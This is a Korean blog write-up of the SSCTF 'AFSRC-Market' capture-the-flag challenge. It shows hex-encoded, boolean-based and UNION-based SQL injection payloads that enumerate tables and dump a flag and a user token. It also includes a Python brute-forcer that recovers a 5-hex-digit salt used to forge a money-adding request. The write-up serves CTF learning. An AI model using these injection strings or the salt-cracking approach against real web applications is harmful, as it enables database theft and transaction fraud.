티스토리 뷰

AFSRC-Market


회원가입 후 로그인을 해보면 물건을 구입할 수 있는 사이트를 볼 수 있고, 계정 정보를 눌러서 The Last cost 를 보면 값이 비어있는 것을 볼 수 있다.


장바구니에 물건을 넣으면서 돌아다니다가 다시 정보를 확인해보면 The Last cost 값이 변한 것을 알 수 있다.

즉, 장바구니에 담는 행동에 따라서 The Last cost 값이 변한다고 가정을 하고 몇 가지 테스트를 해보면 SQL Injection 공격을 할 수 있다.


초기값:


장바구니에 담을 때 id 값에 문자가 들어가면 Code Error 메시지가 발생하기 때문에 공격 구문을 Hex로 하였다.

0x39303420616e6420313d3123 (904 and 1=1#)

0x39303420616e6420313d3223 (904 and 1=2#)


먼저 904 and 1=1# 를 입력하고 결과를 확인해보면 (참)


5662가 생긴 것을 확인할 수 있다.


이번에는 904 and 1=2# 를 입력하고 결과를 확인해보면 (거짓)


다시 값이 비어있는 것을 확인할 수 있다.


이와 같은 방법으로 컬럼 수 확인

0x393034206f72646572206279203423 (904 order by 4#) >>> 참

0x393034206f72646572206279203523 (904 order by 5#) >>> 거짓

컬럼의 수는 4개


Union을 이용하여 장바구니에 담았을 때 직접적으로 확인이 가능한 위치 확인

0x39303420616e6420313d3220756e696f6e2073656c65637420312c322c332c3423 (904 and 1=2 union select 1,2,3,4#)

0x39303420616e6420313d3220756e696f6e2073656c65637420312c322c27646f396461726b272c3323 (904 and 1=2 union select 1,2,'do9dark',3#)

The Last cost: 3 출력 (3 번째)

The Last cost: do9dark 출력 (3 번째)


테이블 확인

0x39303420616e6420313d3220756e696f6e2073656c65637420312c322c67726f75705f636f6e636174287461626c655f6e616d65292c342066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d736368656d61282923
(904 and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=schema()#)


테이블: flag, user, user_goods


컬럼 확인

0x39303420616e6420313d3220756e696f6e2073656c65637420312c322c67726f75705f636f6e63617428636f6c756d6e5f6e616d65292c332066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27666c61672723
(904 and 1=2 union select 1,2,group_concat(column_name),3 from information_schema.columns where table_name='flag'#)


컬럼: id, flag


flag 확인

0x39303420616e6420313d3220756e696f6e2073656c65637420312c322c666c61672c332066726f6d20666c616723 
(904 and 1=2 union select 1,2,flag,3 from flag#)


Tips:/2112jb1njIUIJ__tr_R/tips.txt


팁으로 되어 있는 경로에 접근해보면 아래와 같은 팁이 나와있다.

tips:
1、Congratulations for you !You finished 80%,Come on continue!
2、token=md5(md5(username)+salt) salt max lenght is 5(hexs)
3、Add the Money Get the Flag


MyInfo에 AddMoney 기능이 있지만 salt 값이 없어서 사용할 수가 없었는데, 문제를 풀기 위해서는 결국 이 값을 구해야한다.

주어진 힌트를 보면 token=md5(md5(username)+salt) 라고 되어있고 최대 5글자라고 되어있기 때문에 어느정도 bf가 필요하다.

먼저 token 값은 앞에서 확인한 user 테이블에 있다. (이 과정은 테이블명, 컬럼명만 바꾸면 되기 때문에 간단히...) 


user table에는 id,username,password,token,scores 컬럼이 있음

0x39303420616e6420313d3220756e696f6e2073656c65637420312c322c746f6b656e2c332066726f6d207573657220776865726520757365726e616d653d27646f396461726b2723

(904 and 1=2 union select 1,2,token,3 from user where username='do9dark'#)


Token: c80a7904326f7034d3d322b1916d8c3d


이제 bf...

salt.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
import hashlib
import string
import itertools
 
def md5(string):
    return hashlib.md5(string).hexdigest()
 
def main():
    token = "c80a7904326f7034d3d322b1916d8c3d"
    username = "do9dark"
    hex_char = string.hexdigits[:-6]
    for i in itertools.product(hex_char, repeat=5):
        salt = ''.join(i)
        if(token == (md5(md5(username)+salt))):
            print salt
            break
 
if __name__ == '__main__':
    main()
cs


결과:

8b76d


소소하게 Money와 Captcha 입력


Proxy를 잡아보면 salt 값 부분에 앞에서 알아낸 값 입력 후 전송


Your FLAG:SSCTF{43eb7f25176f4534fe7e3a2c1ad21b00}


Give me a money!


Flag: SSCTF{43eb7f25176f4534fe7e3a2c1ad21b00}


댓글
«   2024/03   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
링크
공지사항
Total
Today
Yesterday